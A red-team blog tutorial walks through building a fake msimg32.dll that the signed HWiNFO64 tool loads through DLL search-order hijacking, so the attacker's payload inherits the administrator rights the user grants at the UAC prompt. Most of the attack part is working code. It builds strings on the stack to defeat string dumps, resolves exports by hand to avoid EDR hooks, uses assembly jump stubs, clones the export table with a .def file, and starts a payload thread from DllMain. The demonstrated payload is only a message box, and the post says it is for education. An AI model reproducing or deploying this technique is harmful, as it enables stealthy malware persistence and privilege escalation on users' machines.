█
Skip to main content

Dll Proxy

In this blog we will touch on a concept called Dll proxy and create a custom version of msimg32.dll which is a component of the Microsoft Graphical Device Interface (GDI) and required by HWiNFO64 to work. We will make HWiNFO64 load our fake msimg32.dll to execute our code. Typical Dll proxy just forwards the exports which is a big IoC, which we will solve in this blog. The PoC can be found at Dll proxy.

C++
Assembly (x64)

Setup​

Everything which we are going to talk about is done on latest Windows and defender versions, which at the time of writing this blog are -

Windows OS

  • Edition: Windows 11 Pro
  • Version: 25H2
  • OS Build: 26200.7840

Defender Engine

  • Client: 4.18.26010.5
  • Engine: 1.1.26010.1
  • AV / AS: 1.445.222.0

Environment

Everything is created and built to test modern security with all security feature turned ON:

✓ Real-time protection

✓ Tamper Protection

✓ Memory integrity

✓ Memory access protection

✓ Microsoft Vulnerable Driver Blocklist

Warning

This is not just any project built to run in a vulnerable environment with security features turned off. This is some serious work and hence made just for education and research purposes.

The Art of the Proxy​

DLL Proxying (often combined with DLL Hijacking) is one of the most reliable persistence and execution mechanisms in the red team playbook. The premise is simple: force a legitimate, signed Windows application to load our malicious DLL instead of the one it actually needs.

To do this, we exploit a fundamental flaw in how the Windows Operating System searches for dependencies.

The Windows DLL Search Order

When an application (e.g., target.exe) attempts to load a DLL without specifying a hardcoded, absolute path, the Windows Loader must go hunting for it. It follows a strict, prioritized search order:

  1. The directory from which the application loaded.
  2. The System directory (C:\Windows\System32).
  3. The 16-bit System directory.
  4. The Windows directory.
  5. The current working directory.
  6. Directories listed in the PATH environment variable.

The Exploit: Because the application's own directory is checked first, if we place a malicious DLL named version.dll directly next to the .exe, the OS will load our malware and completely ignore the legitimate version.dll sitting in System32.

The Target​

For our little experiment, I have decided to go with HWiNFOEXTERNAL LINK TOhttps://www.hwinfo.com/Website Preview as a hardware diagnostic and system monitoring tool, HWiNFO naturally requires administrative privileges to interact with low level system components. When a user runs it, they are immediately hit with a User Account Control (UAC) prompt. Because HWiNFO is a legitimate, signed, and trusted application, the user will instinctively click "Yes". If we successfully proxy a DLL loaded by this application, our payload inherits those elevated privileges.

We have our target in a folder in the desktop and lets use Process MonitorEXTERNAL LINK TOhttps://learn.microsoft.com/en-us/sysinternals/downloads/procmonWebsite Preview to look at the .dlls that HWiNFO loads. To filter out the massive amount of background noise generated by the OS, we need to set up a strict filter catching only DLL load events triggered by our target:

Process Monitor Filter Rules
Column
Relation
Value
Action
Process Name
is
HWiNFO64.exe
Include
Path
ends with
.dll
Include

With these filters applied, clear the ProcMon capture window, execute HWiNFO64.exe from your desktop folder, and watch the events roll in. We are specifically hunting for a DLL load attempt that targets our local application directory and results in a NAME NOT FOUND status.

MSIMG32_not_found

HWiNFO64 searching for .dlls

And we find a very perfect candidate msimg32.dll, This is a core component of the Microsoft Graphical Device Interface (GDI). Because it is a highly specific, lightweight graphics module, it should export a relatively small number of functions.

info

We are not tied to msimg32.dll and we can use any other dll which the target was not able to find in its own directory :)

The Approach​

There is a major catch. If we successfully hijack the load order and feed the application our fake DLL, the application will immediately crash. Why? Because the application expects our DLL to contain dozens of highly specific exported functions. When it tries to call one and fails to find it, the process dies. In our case msimg32.dll exports only 5 functions:

msimg32_exports

Exported functions of msimg32.dll

To keep the host application alive, we must act as a Proxy. We must accept the incoming function calls and seamlessly pass them to the legitimate DLL/function.

The Traditional Way​

Most tutorials teach you to use compiler directives like #pragma comment(linker, "/EXPORT..."). This statically forces the Windows Loader to automatically forward the call to the real DLL. It's easy, but it leaves massive static artifacts in the compiled binary.

and its pretty easy to implement in code, all we need is:

traditional_proxy.cpp
#pragma comment(linker, "/export:AlphaBlend=C:\\Windows\\System32\\msimg32.AlphaBlend")
#pragma comment(linker, "/export:DllInitialize=C:\\Windows\\System32\\msimg32.DllInitialize,@1")
#pragma comment(linker, "/export:GradientFill=C:\\Windows\\System32\\msimg32.GradientFill")
#pragma comment(linker, "/export:TransparentBlt=C:\\Windows\\System32\\msimg32.TransparentBlt")
#pragma comment(linker, "/export:vSetDdrawflag=C:\\Windows\\System32\\msimg32.vSetDdrawflag")

and a payload which can be anything, in our case its just a messagebox with some extra steps:

traditional_proxy.cpp
unsigned static __stdcall PayloadThread(void* pArguments)
{
Sleep(1000);

// ----------------------

BOOL fRet = FALSE;
HANDLE hToken = NULL;

if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
{
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);

if(GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) fRet = Elevation.TokenIsElevated;
} if(hToken) CloseHandle(hToken);

if(fRet) MessageBoxA(NULL, "PayloadThread Started with Admin privileges", "Notification", MB_OK);
else MessageBoxA(NULL, "PayloadThread Started without Admin privileges", "Notification", MB_OK);

return 0;
}

This works exactly as intended but lets also look at IoC in the approach, so we get a picture what are we trying to fix:

TraditionalApproach_IoCs

IoCs in Traditional Dll Proxy

We can see in plain sight the massive text forwarded to C:\Windows\System32\msimg32.xyz. Windows dlls do forward functions but msimg.dll is not one of them. We fix this IoC in our approach.

Our Approach​

We are not going to rely on the linker. Our fake DLL will manually load the legitimate DLL into memory at runtime using LoadLibrary. Then, we will expose custom Assembly (ASM) functions that dynamically jump the execution flow directly into the real exported functions.

HWiNFO64.exeHost Process

call AlphaBlend

Fake msimg32.dll

ON LOAD (ONCE IN DLLMAIN) LoadLibrary("Real DLL")
ResolveFn(...)

ON FUNCTION CALL jmp [pActualAlphaBlend]

System32\msimg32.dllLegitimate DLL

Executes & Returns

The Setup​

Now we can start setting up our dll. We will have to load the actual msimg32.dll. We can do this stealthily using a modified version of YetAnotherReflectiveLoader or LoadLibraryW. In this case, we will stick with LoadLibraryW for simplicity and demonstration purposes, but in actual use cases we wil stick with YetAnotherReflectiveLoader.

Stack Strings​

To load the library, LoadLibraryW will need the exact path of the dll, which we will construct on the stack to avoid any strings which can be seen in a strings dump.

msimg32_proxy.cpp
wchar_t realPath[MAX_PATH];

// "C:\"
realPath[0] = 'C'; realPath[1] = ':'; realPath[2] = '\\';

// "Windows"
realPath[3] = 'W'; realPath[4] = 'i'; realPath[5] = 'n'; realPath[6] = 'd';
realPath[7] = 'o'; realPath[8] = 'w'; realPath[9] = 's'; realPath[10] = '\\';

// "System32"
realPath[11] = 'S'; realPath[12] = 'y'; realPath[13] = 's'; realPath[14] = 't';
realPath[15] = 'e'; realPath[16] = 'm'; realPath[17] = '3'; realPath[18] = '2';
realPath[19] = '\\';

// "msimg32.dll"
realPath[20] = 'm'; realPath[21] = 's'; realPath[22] = 'i'; realPath[23] = 'm';
realPath[24] = 'g'; realPath[25] = '3'; realPath[26] = '2'; realPath[27] = '.';
realPath[28] = 'd'; realPath[29] = 'l'; realPath[30] = 'l'; realPath[31] = '\0';

EXECUTION INSIGHT: By explicitly assigning each wchar_t to an array index, the compiler generates a series of Assembly mov instructions to push these bytes into the Thread's Stack memory sequentially at runtime. The contiguous string "C:\Windows..." literally never exists in the compiled binary's disk image, making it completely invisible to basic static strings analysis.

Resolving the Exports​

With our realPath safely constructed on the stack, we can now pass it to LoadLibraryW to map the legitimate msimg32.dll into our process memory.

Once the real DLL is mapped, we need to extract the exact memory addresses of its exported functions so our Assembly stubs know where to jmp to.

msimg32_proxy.cpp
HMODULE hReal = LoadLibraryW(realPath);
if(hReal)
{
pAlphaBlend = (UINT_PTR)ShellcodeFindExportAddress(hReal, "AlphaBlend", pLoadLibraryA);
pDllInitialize = (UINT_PTR)ShellcodeFindExportAddress(hReal, "DllInitialize", pLoadLibraryA);
pGradientFill = (UINT_PTR)ShellcodeFindExportAddress(hReal, "GradientFill", pLoadLibraryA);
pTransparentBlt = (UINT_PTR)ShellcodeFindExportAddress(hReal, "TransparentBlt", pLoadLibraryA);
pvSetDdrawflag = (UINT_PTR)ShellcodeFindExportAddress(hReal, "vSetDdrawflag", pLoadLibraryA);
}
info

Notice that we are not using the standard GetProcAddress. Standard APIs are heavily monitored by EDR userland hooks. Instead, we use a custom ShellcodeFindExportAddress function that manually walks the PE headers and parses the Export Address Table (EAT) of the loaded DLL in memory.

Why pass pLoadLibraryA? If the target DLL forwards an export to another DLL (e.g., NTDLL), our custom parser needs a way to seamlessly load that secondary dependency to resolve the final address.

The Proxy​

With the actual addresses stored in our pointers, we can now create the actual exported functions that HWiNFO64.exe will call.

Assembly Stubs​

If we wrote these functions in C++, the compiler would automatically insert a function prologue (pushing RBP and allocating stack space). This destroys the original arguments sitting in RCX, RDX, R8, and R9 meant for the real DLL. To keep the stack completely untouched, we write "Naked Jumps" in pure Assembly.

Defining the Assembly Pointers (.data)​

Now let's break down exactly what the Assembly file is doing, starting with the .data section.

In our C++ file, we defined the pointers and filled them with the real memory addresses. But the Assembly file is compiled entirely separately. It has no idea those C++ variables exist unless we explicitly tell it.

proxy.asm
.data

extern pAlphaBlend:QWORD
extern pDllInitialize:QWORD
extern pGradientFill:QWORD
extern pTransparentBlt:QWORD
extern pvSetDdrawflag:QWORD

Anatomy of the Declaration

externpAlphaBlend:QWORD
The PromiseTells the Assembler: "This variable exists, but not in this file. Let the MSVC Linker find it later during compilation."
The SymbolMust perfectly match the exact variable name defined in the C++ extern "C" block, or the build will fail.
The SizeQuad-Word (8 bytes / 64 bits). Because we are exploiting an x64 application, all memory addresses are strictly 64 bits long.

Executing the Proxy (.code)​

Now we have our pointers in .data section, we can finally write the executable Assembly instructions in the .code section.

This is the actual path the CPU will take when HWiNFO64.exe thinks it is calling AlphaBlend(), this is the exact block of code it will hit inside our fake DLL.

proxy.asm
.code

; The Exported Functions

AlphaBlend PROC
jmp [pAlphaBlend]
AlphaBlend ENDP

DllInitialize PROC
jmp[pDllInitialize]
DllInitialize ENDP

; ... (Repeated for all exports)

END

Anatomy of the Naked Jump

AlphaBlend PROC➔jmp[pAlphaBlend]
The Fake DoorPROC (Procedure) declares the start of our function. This is the exact name the linker will expose in the final DLL's Export Address Table (EAT).
The Naked JumpUnlike call, jmp does not push a return address to the Stack. It preserves RCX, RDX, R8, R9 perfectly so the real function receives the original arguments intact.
The Dereference [ ]Without brackets, the CPU would jump to the pointer's location in the .data section and crash. Brackets tell the CPU to jump to the address stored inside the pointer.

Cross-Language Linking​

There is one major problem. Our C++ file resolves the addresses, but our Assembly file is the one executing the jumps. How do we share variables between two completely different languages?

This is very simple, the environment and the linker helps us here and we can just:

msimg32_proxy.cpp
extern "C"
{
// Disable C++ Name Mangling to share memory with Assembly
UINT_PTR pAlphaBlend = 0;
UINT_PTR pDllInitialize = 0;
UINT_PTR pGradientFill = 0;
UINT_PTR pTransparentBlt = 0;
UINT_PTR pvSetDdrawflag = 0;
}
C++ Space
extern "C" pAlphaBlend
Prevents: ?pAlphaBlend@@3_KA
MSVC LINKER
Matches Unmangled Symbol
Assembly Space
extern pAlphaBlend
Requires Exact Name

If we did not use extern "C", the C++ compiler would enforce Name Mangling, renaming our variable to something unreadable like ?pAlphaBlend@@3_KA to support function overloading. Our Assembly file would look for pAlphaBlend, fail to find it, and throw a fatal LNK2001: unresolved external symbol error during compilation.

By defining them in a shared extern "C" block, we guarantee the Linker maps the C++ pointers directly to the Assembly jmp instructions.

The Module Definition​

To successfully impersonate as a legitimate msimg.dll, our proxy's Export Address Table (EAT) must be an exact, 1-to-1 clone of the original. We enforce this at compile time using a Module Definition file. You can learn more about module definition file at Microsoft's DocumentationEXTERNAL LINK TOhttps://learn.microsoft.com/en-us/cpp/build/reference/module-definition-dot-def-files?view=msvc-170Website Preview.

msimg32.def
LIBRARY msimg32
EXPORTS
vSetDdrawflag @1
AlphaBlend @2
DllInitialize @3 PRIVATE
GradientFill @4
TransparentBlt @5

Anatomy of the DEF File

DllInitialize@3PRIVATE
LIBRARYEmbeds the internal name msimg32 into the PE's Export Directory. This ensures that even if the file is renamed, its internal identity perfectly matches the Microsoft original.
The Ordinal (@)Hardcodes the exact index number of the export. Many applications resolve API calls by Ordinal rather than by Name to save time. If our numbers don't match the original DLL, the host app will crash.
PRIVATETells the Linker: "Put this in the final DLL, but do NOT put it in the static .lib file." We include this because the legitimate Microsoft DLL also marked this specific function as private.

DllMain​

Now the only thing left is to configure the DllMain of our proxy.

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
SetupProxies();
_beginthreadex(NULL, 0, PayloadThread, NULL, 0, NULL);

break;
}
}

Whenever our dll is loaded we want to call our SetupProxies() and launch our payload thread. We use _beginthreadex looks like:

msimg32_proxy.cpp
uintptr_t _beginthreadex(
void *security,
unsigned stack_size,
unsigned ( __stdcall *start_address )( void * ),
void *arglist,
unsigned initflag,
unsigned *thrdaddr
);

To learn more about the specific parameters I would really recommend reading Microsoft's DocumentationEXTERNAL LINK TOhttps://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/beginthread-beginthreadex?view=msvc-170Website Preview.

The Result​

msimg32_Proxy exports

msimg32_Proxy exports

As you can see we have completely removed the very obvious IoC and it looks very similar to the original msimg32.dll. And yeah, that would be it for this blog :)

Future Improvements​

Timestamp Stomping

Currently our dll has timestamp as FFFFFFFF which is not same as original's 31E252F2. We can spoof this by writing a separate program for the same.

References​

icon
DLL Proxying for Persistenceired
›
icon
Fun With DLL's - Hijacking, Proxying, and Malware DevelopmentCosmodium CyberSecurity
›
icon
Module-Definition (.Def) Filesmicrosoft
›
icon
_beginthread, _beginthreadexmicrosoft
›
VISITOR
[CONNECTED] _
Your IP: Scanning...|LOC: Unknown|ISP: Unknown|CPU: ? Cores|RAM: ?Gb|PWR: Unknown|DOC: [==========]   0%|00:00:00